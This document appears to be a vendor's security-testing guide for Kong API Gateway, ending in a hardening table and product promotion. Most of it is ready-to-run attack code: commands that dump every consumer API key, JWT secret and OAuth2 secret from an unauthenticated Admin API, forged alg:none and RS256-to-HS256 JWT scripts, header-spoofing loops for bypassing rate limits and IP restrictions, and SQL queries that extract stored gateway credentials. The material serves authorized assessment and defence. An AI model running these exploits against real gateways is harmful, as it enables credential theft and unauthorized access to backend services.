Kong Gateway Security Testing: API Key, Admin API, Route Bypass, and Plugin Exploitation

Kong Gateway is the most widely deployed open-source API gateway, sitting in front of virtually every microservice in many enterprise stacks. Its security model is layered: the Admin API on port 8001 has no authentication by default and exposes all consumers, credentials, routes, and plugins; the key-auth plugin stores API keys that are passed as URL query parameters and appear in upstream access logs; the JWT plugin is vulnerable to algorithm confusion attacks; rate-limiting plugins can be bypassed by spoofing the X-Forwarded-For header; and the Kong database (PostgreSQL or Cassandra) contains all credentials in recoverable form. This guide covers systematic Kong security assessment.

Table of Contents

  1. Admin API Exposure and Credential Enumeration
  2. Plugin Security: JWT, Key-Auth, and Rate Limiting Bypasses
  3. Route ACL Bypass and Unauthorized Backend Access
  4. Kong Database Credential Extraction
  5. Kong Security Hardening

Admin API Exposure and Credential Enumeration

The Kong Admin API listens on port 8001 (HTTP) and 8444 (HTTPS) with no authentication in the default configuration. Any process or user that can reach this port controls the entire gateway: consumers can be created, routes can be added, plugins can be removed, and all existing credentials can be read.

# Kong Admin API — unauthenticated access and credential enumeration
KONG_ADMIN="http://kong.internal:8001"

# Verify Admin API is accessible (no credentials required by default)
curl -s "${KONG_ADMIN}/" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Kong version: {d.get(\"version\")}')
print(f'Hostname: {d.get(\"hostname\")}')
print(f'Tagline: {d.get(\"tagline\")}')
"

# Enumerate all services (upstream backend targets)
curl -s "${KONG_ADMIN}/services" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Services: {d.get(\"total\")}')
for s in d.get('data',[]):
    print(f'  [{s[\"id\"][:8]}] {s[\"name\"]} -> {s[\"protocol\"]}://{s[\"host\"]}:{s[\"port\"]}{s[\"path\"]}')
    print(f'    connect_timeout={s[\"connect_timeout\"]}ms retries={s[\"retries\"]}')
"

# Enumerate all routes — reveals every exposed endpoint and their match rules
curl -s "${KONG_ADMIN}/routes" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Routes: {d.get(\"total\")}')
for r in d.get('data',[]):
    paths = r.get('paths',[])
    hosts = r.get('hosts',[])
    methods = r.get('methods',[])
    svc = r.get('service',{}).get('id','')[:8]
    print(f'  [{r[\"id\"][:8]}] -> svc:{svc} paths={paths} hosts={hosts} methods={methods}')
    print(f'    strip_path={r[\"strip_path\"]} preserve_host={r[\"preserve_host\"]}')
"

# Enumerate all consumers and their credentials
curl -s "${KONG_ADMIN}/consumers" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Consumers: {d.get(\"total\")}')
for c in d.get('data',[]):
    print(f'  [{c[\"id\"][:8]}] username={c[\"username\"]} custom_id={c.get(\"custom_id\")}')
" 2>/dev/null

# Extract ALL API keys for all consumers
curl -s "${KONG_ADMIN}/key-auths" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'API Keys: {d.get(\"total\")}')
for k in d.get('data',[]):
    consumer_id = k.get('consumer',{}).get('id','')[:8]
    print(f'  consumer:{consumer_id} key={k[\"key\"]} ttl={k.get(\"ttl\")}')
"

# Extract ALL JWT credentials (secrets exposed)
curl -s "${KONG_ADMIN}/jwts" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'JWT credentials: {d.get(\"total\")}')
for j in d.get('data',[]):
    consumer_id = j.get('consumer',{}).get('id','')[:8]
    print(f'  consumer:{consumer_id} key={j[\"key\"]} alg={j[\"algorithm\"]} secret={j[\"secret\"]}')
"

# Extract ALL OAuth2 application credentials
curl -s "${KONG_ADMIN}/oauth2" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'OAuth2 apps: {d.get(\"total\")}')
for o in d.get('data',[]):
    consumer_id = o.get('consumer',{}).get('id','')[:8]
    print(f'  consumer:{consumer_id} client_id={o[\"client_id\"]} secret={o[\"client_secret\"]}')
"

# List all active plugins and their configurations
curl -s "${KONG_ADMIN}/plugins" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Plugins: {d.get(\"total\")}')
for p in d.get('data',[]):
    route_id = p.get('route',{})
    svc_id = p.get('service',{})
    print(f'  {p[\"name\"]} enabled={p[\"enabled\"]} route={str(route_id)[:20]} svc={str(svc_id)[:20]}')
    # Print sensitive config keys
    config = p.get('config',{})
    for key in ['secret','key','password','api_key','token','hmac_key']:
        if key in config:
            print(f'    config.{key}={config[key]}')
"
High Impact: In environments where port 8001 is reachable, an attacker can extract all consumer API keys in a single request to /key-auths. This is a complete authentication bypass for the entire API gateway. Always verify Admin API network exposure as the first test step.

Plugin Security: JWT, Key-Auth, and Rate Limiting Bypasses

Kong's authentication and rate-limiting plugins each have implementation-specific weaknesses. The JWT plugin's default algorithm configuration can be confused; the key-auth plugin passes keys as URL parameters that appear in access logs; and the rate-limiting plugin trusts client-supplied headers for IP identification.

# Kong JWT plugin — algorithm confusion attack
KONG_PROXY="https://api.example.com"

# The JWT plugin may accept alg:none if not explicitly restricted
# Extract public key from JWKS endpoint first
curl -s "${KONG_PROXY}/.well-known/jwks.json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for k in d.get('keys',[]):
    print(f'kid={k.get(\"kid\")} alg={k.get(\"alg\")} use={k.get(\"use\")}')
" 2>/dev/null

# Test algorithm confusion — forge JWT with alg:none
python3 << 'EOF'
import base64, json

def b64url(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Forge admin token with alg:none
header = {"alg": "none", "typ": "JWT"}
payload = {
    "iss": "consumer-key-from-admin-api",
    "sub": "admin-user",
    "iat": 9999999999,
    "exp": 9999999999
}

h = b64url(json.dumps(header))
p = b64url(json.dumps(payload))
token_none = f"{h}.{p}."
print(f"alg:none token: {token_none}")
EOF

# Test: does Kong accept the forged token?
curl -s -H "Authorization: Bearer ${FORGED_TOKEN}" \
  "${KONG_PROXY}/api/v1/protected-endpoint" -o /dev/null -w "%{http_code}"

# JWT RS256 -> HS256 confusion (if public key is known)
# Kong JWT plugin: if 'rsa_public_key' is configured but algorithm validation is weak
python3 << 'EOF'
import hmac, hashlib, base64, json

PUBLIC_KEY = "-----BEGIN PUBLIC KEY-----\nMIIBIjAN...\n-----END PUBLIC KEY-----"

def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header = {"alg": "HS256", "typ": "JWT"}
payload = {"iss": "consumer-key", "sub": "admin", "exp": 9999999999}

message = b64url(json.dumps(header)) + "." + b64url(json.dumps(payload))
sig = hmac.new(PUBLIC_KEY.encode(), message.encode(), hashlib.sha256).digest()
token = message + "." + b64url(sig)
print(f"RS256->HS256 confused token: {token}")
EOF

# Rate limiting bypass — X-Forwarded-For header spoofing
# The rate-limiting plugin uses X-Forwarded-For when limit_by=ip (default)
# Rotate source IP in the header to bypass per-IP rate limits

for i in $(seq 1 20); do
  FAKE_IP="10.${i}.${i}.${i}"
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "X-Forwarded-For: ${FAKE_IP}" \
    -H "Authorization: Bearer your-jwt-token" \
    "${KONG_PROXY}/api/v1/rate-limited-endpoint")
  echo "Request ${i} from fake IP ${FAKE_IP}: HTTP ${STATUS}"
done

# Key-auth plugin — API key in URL parameter (logged by upstreams)
# Check if key_in_query is enabled (default: true in older Kong versions)
curl -s "${KONG_ADMIN}/plugins" | python3 -c "
import json,sys
d=json.load(sys.stdin)
for p in d.get('data',[]):
    if p['name'] == 'key-auth':
        config = p['config']
        key_in_query = config.get('key_in_query', True)
        key_in_body = config.get('key_in_body', False)
        key_names = config.get('key_names', ['apikey'])
        print(f'key-auth config:')
        print(f'  key_names={key_names}')
        print(f'  key_in_query={key_in_query}  <- keys visible in URL and access logs!')
        print(f'  key_in_body={key_in_body}')
        print(f'  hide_credentials={config.get(\"hide_credentials\",False)}')
"

# Test key-auth with key in URL (demonstrates logging exposure)
KNOWN_KEY="extracted-api-key"
curl -sv "${KONG_PROXY}/api/v1/endpoint?apikey=${KNOWN_KEY}" 2>&1 | grep -E "< HTTP|apikey"

# HMAC auth plugin — replay attack testing
# Check signature window (default: 300 seconds — replay within 5 minutes)
DATE_HEADER=$(date -u "+%a, %d %b %Y %H:%M:%S GMT")
curl -s -H "Date: ${DATE_HEADER}" \
  -H "Authorization: hmac username=\"consumer1\", algorithm=\"hmac-sha256\", headers=\"date\", signature=\"base64sig==\"" \
  "${KONG_PROXY}/api/v1/hmac-endpoint" -o /dev/null -w "%{http_code}"

Route ACL Bypass and Unauthorized Backend Access

The Kong ACL plugin restricts route access to named consumer groups. Misconfigurations — particularly around case sensitivity, whitespace normalization, and plugin ordering — can allow unauthorized access to protected routes. Direct backend access bypassing Kong entirely is also a common finding.

# Kong route ACL bypass and direct backend access testing
KONG_PROXY="https://api.example.com"
KONG_ADMIN="http://kong.internal:8001"

# Map route-to-plugin relationships — identify routes with no auth plugins
python3 << 'EOF'
import urllib.request, json

admin = "http://kong.internal:8001"

# Get all routes
routes = json.loads(urllib.request.urlopen(f"{admin}/routes").read())['data']
# Get all plugins
plugins = json.loads(urllib.request.urlopen(f"{admin}/plugins").read())['data']

# Index plugins by route
route_plugins = {}
for p in plugins:
    route = p.get('route')
    if route:
        rid = route.get('id')
        if rid not in route_plugins:
            route_plugins[rid] = []
        route_plugins[rid].append(p['name'])

auth_plugins = {'key-auth','jwt','oauth2','basic-auth','hmac-auth','ldap-auth','openid-connect'}

print("Routes with NO authentication plugins:")
for r in routes:
    rid = r['id']
    plugs = set(route_plugins.get(rid, []))
    has_auth = bool(plugs & auth_plugins)
    if not has_auth:
        paths = r.get('paths', [])
        hosts = r.get('hosts', [])
        svc = r.get('service', {}).get('id', '')[:8]
        print(f"  UNPROTECTED route {rid[:8]}: paths={paths} hosts={hosts} -> svc:{svc}")
        print(f"  plugins: {list(plugs) if plugs else 'none'}")
EOF

# Test direct backend access — bypassing Kong entirely
# Extract backend host/port from Admin API
curl -s "${KONG_ADMIN}/services" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print('Direct backend targets (bypass Kong):')
for s in d.get('data',[]):
    print(f'  {s[\"name\"]}: {s[\"protocol\"]}://{s[\"host\"]}:{s[\"port\"]}{s.get(\"path\",\"/\")}')
"

# If backends are reachable without Kong, test direct access
BACKEND_HOST="internal-service.default.svc.cluster.local"
curl -s "http://${BACKEND_HOST}:3000/api/admin/users" \
  -H "Content-Type: application/json" -o /dev/null -w "%{http_code}"

# ACL plugin — group membership test and bypass attempts
# Check if case-sensitive matching is enforced
for GROUP_VARIANT in "admin" "Admin" "ADMIN" "admin " " admin"; do
  curl -s -H "X-Consumer-Groups: ${GROUP_VARIANT}" \
    -H "Authorization: Bearer low-priv-token" \
    "${KONG_PROXY}/admin/users" -o /dev/null -w "group='${GROUP_VARIANT}' -> %{http_code}\n"
done

# Request termination plugin — test if it blocks specific paths
# Some misconfigurations only terminate GET, leaving POST unprotected
for METHOD in GET POST PUT PATCH DELETE; do
  STATUS=$(curl -s -X "${METHOD}" -o /dev/null -w "%{http_code}" \
    "${KONG_PROXY}/admin/delete-everything")
  echo "  ${METHOD} /admin/delete-everything -> HTTP ${STATUS}"
done

# IP restriction plugin — test with X-Real-IP spoofing
for IP in "127.0.0.1" "10.0.0.1" "192.168.1.1" "172.16.0.1"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "X-Real-IP: ${IP}" \
    "${KONG_PROXY}/internal/health")
  echo "  X-Real-IP: ${IP} -> HTTP ${STATUS}"
done

# Proxy cache plugin — cache poisoning via Host header manipulation
# Cache is keyed by URL + Host; different host headers may serve cached responses
curl -s -H "Host: admin.example.com" "${KONG_PROXY}/api/v1/public" | head -20
curl -s -H "Host: internal.example.com" "${KONG_PROXY}/api/v1/public" | head -20

Kong Database Credential Extraction

Kong stores all configuration — services, routes, consumers, and credentials — in PostgreSQL (default) or Cassandra. If database access is obtained through SSRF, a misconfigured network, or credential reuse, all gateway credentials can be extracted in a single query.

# Kong PostgreSQL database — credential extraction
# Connection: postgres://kong:kong_password@kong-db:5432/kong

# Extract all key-auth API keys
psql -h kong-db -U kong -d kong -c "
SELECT
    c.username,
    ka.key,
    ka.created_at,
    ka.ttl
FROM keyauth_credentials ka
JOIN consumers c ON ka.consumer_id = c.id
ORDER BY ka.created_at DESC;
"

# Extract all JWT credentials (includes secret keys for HMAC algorithms)
psql -h kong-db -U kong -d kong -c "
SELECT
    c.username,
    jc.key AS jwt_key,
    jc.secret AS jwt_secret,
    jc.algorithm,
    jc.rsa_public_key,
    jc.created_at
FROM jwt_secrets jc
JOIN consumers c ON jc.consumer_id = c.id;
"

# Extract all OAuth2 application credentials
psql -h kong-db -U kong -d kong -c "
SELECT
    c.username,
    oa.name AS app_name,
    oa.client_id,
    oa.client_secret,
    oa.redirect_uris
FROM oauth2_credentials oa
JOIN consumers c ON oa.consumer_id = c.id;
"

# Extract basic-auth credentials (passwords in hashed or plaintext)
psql -h kong-db -U kong -d kong -c "
SELECT
    c.username AS consumer,
    ba.username AS basic_user,
    ba.password
FROM basicauth_credentials ba
JOIN consumers c ON ba.consumer_id = c.id;
"

# Extract OAuth2 active tokens (short-lived but useful in active sessions)
psql -h kong-db -U kong -d kong -c "
SELECT
    c.username,
    ot.access_token,
    ot.token_type,
    ot.expires_in,
    ot.created_at
FROM oauth2_tokens ot
JOIN consumers c ON ot.credential_id = ot.credential_id
LIMIT 20;
"

# Kong DB-less mode: dump declarative config via Admin API
# In DB-less mode, config is stored in memory but can be exported
curl -s "http://kong.internal:8001/config" | python3 -c "
import json,sys,yaml
d=json.load(sys.stdin)
# Look for secrets in the config export
config = json.dumps(d)
import re
secrets = re.findall(r'(?:secret|key|password|token)[\"\':\s]+([a-zA-Z0-9+/]{20,})', config)
print(f'Potential secrets found: {len(set(secrets))}')
for s in list(set(secrets))[:10]:
    print(f'  {s[:60]}')
" 2>/dev/null

Automated Kong Gateway Security Testing

Ironimo can assess your Kong API gateway for Admin API exposure, credential enumeration, plugin bypass vulnerabilities, and database credential leakage — scanning the full attack surface that manual testing often misses.

Start free scan

Kong Security Hardening

Securing Kong requires addressing each layer: network-level Admin API isolation, RBAC enablement, plugin configuration hardening, and upstream network segmentation.

IssueDefault StateFix
Admin API authenticationNone (open port 8001)Enable Admin API RBAC or firewall port 8001 to trusted management hosts only
JWT algorithm confusionNo algorithm restrictionSet config.algorithms=["RS256"] explicitly; never allow HS256 when using RSA keys
Rate limit bypass via X-Forwarded-ForTrusts client X-Forwarded-ForSet config.limit_by=consumer or configure trusted proxies; use ngx_http_realip_module upstream
API key in URL query parameterkey_in_query=trueSet config.key_in_query=false; require key in header only; set hide_credentials=true
Direct backend accessBackends reachable directlyNetwork-segment backends; restrict inbound traffic to Kong proxy IPs only via firewall/NetworkPolicy
Unauthenticated routesRoutes without auth pluginsApply global auth plugin at service level; use request-termination for routes with no consumer context
Cassandra/PostgreSQL exposureDB on internal networkRotate Kong DB credentials; restrict DB access to Kong process IPs only; enable PostgreSQL SSL
# Kong Admin API — enable RBAC (Kong Enterprise / Kong Gateway >= 3.0)
# In kong.conf or environment variables:
# KONG_ENFORCE_RBAC=on
# KONG_ADMIN_GUI_AUTH=basic-auth
# KONG_ADMIN_GUI_SESSION_CONF={"secret":"strong-random-secret","cookie_secure":true}

# For Kong OSS — firewall Admin API using iptables
iptables -A INPUT -p tcp --dport 8001 -s 10.0.0.0/8 -j ACCEPT  # management subnet only
iptables -A INPUT -p tcp --dport 8001 -j DROP

# Force JWT algorithm — plugin config at route level
curl -X POST http://kong.internal:8001/routes/{route-id}/plugins \
  -d "name=jwt" \
  -d "config.algorithms[]=RS256" \
  -d "config.claims_to_verify[]=exp" \
  -d "config.key_claim_name=iss"

# Disable API key in query string globally
curl -X PATCH http://kong.internal:8001/plugins/{key-auth-plugin-id} \
  -d "config.key_in_query=false" \
  -d "config.key_in_header=true" \
  -d "config.hide_credentials=true"

# Rate limiting — use consumer-based limiting (not IP-based)
curl -X POST http://kong.internal:8001/services/{service-id}/plugins \
  -d "name=rate-limiting" \
  -d "config.minute=60" \
  -d "config.limit_by=consumer" \
  -d "config.policy=redis" \
  -d "config.redis_host=redis.internal"
Key findings to report: Admin API reachable without authentication (critical); JWT credentials extractable via /jwts (critical); API key in URL parameters logged by upstream services (medium); rate-limit bypass via X-Forwarded-For spoofing (medium); direct backend access without Kong authentication (high).